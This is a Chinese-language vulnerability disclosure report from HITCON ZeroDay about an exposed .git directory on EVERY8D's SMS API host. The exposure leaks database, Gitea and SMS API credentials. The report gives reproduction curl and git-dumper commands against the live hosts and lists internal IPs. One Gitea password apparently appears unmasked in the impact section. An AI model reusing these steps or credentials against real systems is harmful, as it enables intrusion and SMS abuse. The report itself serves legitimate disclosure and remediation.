Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00631
- Vendor: 互動資通股份有限公司
- Title: 互動資通 in-api.e8d.tw .git 目錄暴露 → 生產 MySQL/MSSQL 資料庫憑證 + Gitea 帳密 + SMS API 帳密完整洩漏
- Introduction: 暴露 .git 目錄,可下載完整源碼,取得生產 MySQL/MSSQL 憑證、Gitea 帳密及已驗證有效的 SMS API 帳密。
處理狀態
目前狀態
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2026/05/06 01:00:02 : 新提交 (由 罐頭 更新此狀態)
- 2026/05/09 17:54:03 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:48:23 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:48:23 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/27 15:48:23 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/06 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
- 2026/07/06 11:06:01 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/07/08 15:11:59 : 延期申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/08/05 21:21:24 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/08/12 10:29:35 : 確認已修補 (由 罐頭 更新此狀態)
- 2026/08/13 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00631
- 通報者:guan4tou2 (罐頭)
- 風險:嚴重
- 類型:資訊洩漏 (Information Leakage)
參考資料
OWASP 漏洞說明 (Top 10 2017 - A3 Sensitive Data Exposure)
https://www.owasp.org/index.php/Top_10-2017_A3-Sensitive_Data_Exposure
CWE-200 漏洞說明
https://cwe.mitre.org/data/definitions/200.html
相關網址
https://in-api.e8d.tw/.git/config
https://in-api.e8d.tw/sms
敘述
漏洞概述
in-api.e8d.tw 為 EVERY8D 互動資通的內部 SMS 發送 API(對外公開,PHP/Fat-Free Framework),其 .git 目錄完整暴露,可被任何人直接下載 Git 倉庫源碼及配置文件。
在 config.ini(生產環境配置)中發現以下憑證:
| 類型 | Host | 帳號 | 密碼 |
|---|---|---|---|
MySQL DB (api) |
192.168.2.242 | apxxxx |
5]gNDXXXXXx |
MSSQL DB (E8D) |
192.168.2.169:1433 | avxxx |
intXXXXXXx |
MSSQL DB (COMMON) |
192.168.2.160:1433 | avxxx |
intXXXXXXx |
| SMS API | api.e8d.tw | crmxXXXXXX |
crmXXXXXXx |
.git/config 的 remote URL 中另外硬編碼 Gitea 版本控制系統認證:
http://jxxxxx:[email protected]:8088/tech_service/api.git
重現步驟(Live verified: 2026-05-05)
步驟 1:確認 .git/HEAD 存在
curl -sk "https://in-api.e8d.tw/.git/HEAD"
# → ref: refs/heads/prod_20240530
步驟 2:讀取 .git/config 取得 Gitea 憑證
curl -sk "https://in-api.e8d.tw/.git/config"
回應(節錄):
[remote "origin"]
url = http://jaxxxx:[email protected]:8088/tech_service/api.git
→ Gitea 帳密:jaxxxxxx / mg5Xxxxxx,伺服器:60.250.94.152:8088
步驟 3:使用 git-dumper 下載完整源碼
pip3 install git-dumper
git-dumper https://in-api.e8d.tw/.git/ ./in_api_dump/
成功 checkout 完整 prod_20240530 分支代碼(包含 config.ini, mainfile.php, app/modules/sms.php 等)。
步驟 4:讀取生產配置文件並驗證 SMS 帳密有效性
cat in_api_dump/config.ini
回應(完整):
[globals]
dbtype=mysql
dbhost=192.168.2.242
dbname=axxxx
dbuser=axx
dbpassword=5]gxxxxx
msdbhost=192.168.2.169
msdbport=1433
msdbname=E8D
msdbuser=avxxx
msdbpassword=intexxxxxx
common_msdbhost=192.168.2.160
common_msdbport=1433
common_msdbname=COMMON
common_msdbuser=avxxxx
common_msdbpassword=intexxxxxxx
sendSMSUrl=https://api.e8d.tw/API21/HTTP/sendSMS.ashx
smsUserID=crxxxxx
smsPassword=crmxxxxxxx
步驟 4b:驗證 SMS API 憑證有效(使用 getCredit,不發送簡訊)
curl -sk "https://api.e8d.tw/API21/HTTP/getCredit.ashx?UID=crmxxxxx&PWD=crmoxxxx"
# → 3382.00
→ SMS API 帳密 crmxxxxxx / crmxxxxxx 確認有效,生產帳戶餘額 3,382 點
步驟 4b-2:驗證 sendSMS 憑證通過(不帶 DEST,不發送真實 SMS)
# 無憑證對照(預期 -300)
curl -sk "https://api.e8d.tw/API21/HTTP/sendSMS.ashx"
# → -300,帳號密碼不得為空
# 帶憑證但不帶 DEST
curl -sk "https://api.e8d.tw/API21/HTTP/sendSMS.ashx?UID=crxxxxx&PWD=crmxxxxx&SB=test&MSG=test"
# → -27,電話號碼不得為空
→ 錯誤碼從 -300(認證失敗)→ -27(認證通過,僅缺收件號碼),確認只需加入 DEST=<手機號> 即可對任意號碼發送 SMS
步驟 4b-3:sendMMS 同樣受影響
curl -sk "https://api.e8d.tw/API21/HTTP/MMS/sendMMS.ashx?UID=crmxxxxx&PWD=crmxxxxx"
# → -27,電話號碼不得為空
→ 相同憑證對 MMS API 也有效(SMSCharge=1/MMSCharge=3,每發一則 MMS 耗 3 點)
步驟 4c:驗證開發/測試 SMS API 憑證也在生產環境有效
config_develop.ini 中的開發環境 SMS 帳密:
curl -sk "https://api.e8d.tw/API21/HTTP/getCredit.ashx?UID=tech_xxxx&PWD=TLsUxxxxx"
# → 115.00
→ 開發環境帳密 techxxxxxx / TLsxxxxx 在生產 SMS API 同樣有效,餘額 115 點(跨環境憑證共用,同一 API 服務器未分離環境)
步驟 5:確認伺服器部署歷史
cat in_api_dump/.git/logs/HEAD
# root@smsv3-ap-internal-1.(none) ... clone: from http://jaxxxx:[email protected]:8088/...
# root@intap185p.(none) ... pull: Fast-forward
→ 揭露內部伺服器主機名稱 smsv3-ap-internal-1 及 intap185p(in-api.e8d.tw 伺服器)
步驟 5b:js.e8d.tw .git/logs/HEAD 揭露 ext-api 伺服器
curl -sk "https://js.e8d.tw/.git/logs/HEAD"
# root@smsv3-ap-ext-api-2.(none) ... clone: from http://jaxxxxx:[email protected]:8088/tech_service/js.git
→ js.e8d.tw 與 ext-api.e8d.tw 部署於同一伺服器:smsv3-ap-ext-api-2(210.68.77.198),使用相同 Gitea 帳密部署 tech_service/js.git
已驗證影響(Verified)
- ✅
.git/HEAD公開存取(HTTP 200),branch:prod_20240530(2026-04-29 實測) - ✅
.git/config包含 Gitea Basic Auth URL(帳號 jaxxxx,密碼 mg5XYWxxxx) - ✅ git-dumper 成功下載完整 repo(git checkout 成功)
- ✅
config.ini包含生產 MySQL 憑證(apxxxx:5][email protected]) - ✅
config.ini包含生產 MSSQL E8D 憑證(avxxxx:[email protected]) - ✅
config.ini包含生產 MSSQL COMMON 憑證(avxxxx:[email protected]) - ✅
config.ini包含生產 SMS API 帳密(crxxxxx / cxxxxx) - ✅ SMS API 帳密實際驗證有效:
getCredit.ashx?UID=crmxxxxx&PWD=crxxxx→3157.00(生產帳戶餘額 3,157 點,2026-05-05 再次實測確認) - ✅ sendSMS 憑證通過:帶憑證無 DEST →
-27,電話號碼不得為空(vs 無憑證-300,帳號密碼不得為空),確認加入手機號即可發送 - ✅ sendMMS 憑證同樣通過:
sendMMS.ashx?UID=crmxxxxx&PWD=crmxxxxx→-27,電話號碼不得為空 - ✅ 開發環境 SMS 帳密也在生產有效:
getCredit.ashx?UID=tech_xxxxx&PWD=TLsU8%xxxxx→115.00(2026-04-29 實測) - ✅
config_develop.ini中所有環境(develop/test/uat)的 MySQL 密碼與生產相同(5]gNxxxxx) - ✅ Git commit author email 洩漏:
[email protected](員工真實身份確認) - ✅ 完整伺服器架構洩漏:in-api =
smsv3-ap-internal-1/intap185p;js.e8d.tw + ext-api =smsv3-ap-ext-api-2(210.68.77.198)
潛在影響(Potential)
- Gitea
jack:mg5XYW7HXaaYEN8登入 → 可存取tech_service組織所有 repository - MySQL DB
[email protected]:含 SMS 發送記錄、用戶帳號、OTP 歷史(sms_message_log,siteAccount) - MSSQL
E8D/COMMONDB:EVERY8D 核心資料庫,可能含完整客戶資料 - SMS API
crxxxxx / crxxxx:使用api.e8d.tw/API21/HTTP/sendSMS.ashx可以 EVERY8D 身份發送任意 SMS
漏洞根因
- 部署時未從 Web root 移除
.git目錄,Web 伺服器直接提供靜態目錄存取 - 敏感生產配置(DB 密碼、API 帳密)以明文存於 Git repo
- Gitea HTTP Basic Auth 認證直接寫入 remote URL(高風險模式,任何 git metadata 洩漏即暴露帳密)
修補建議
1. 立即:移除 in-api.e8d.tw Web root 下的 .git 目錄,或在 nginx/Apache 加入 location ~ /\.git { deny all; return 403; } 規則
2. 立即:輪換所有洩漏憑證:MySQL api、MSSQL av8d、Gitea jack、SMS API crmonly1
3. 短期:改用環境變數或 HashiCorp Vault 管理生產密鑰,不在 Git 歷史中存儲明文
4. 短期:Git remote URL 改用 SSH key 或個人 Access Token(不在 URL 中嵌入帳密)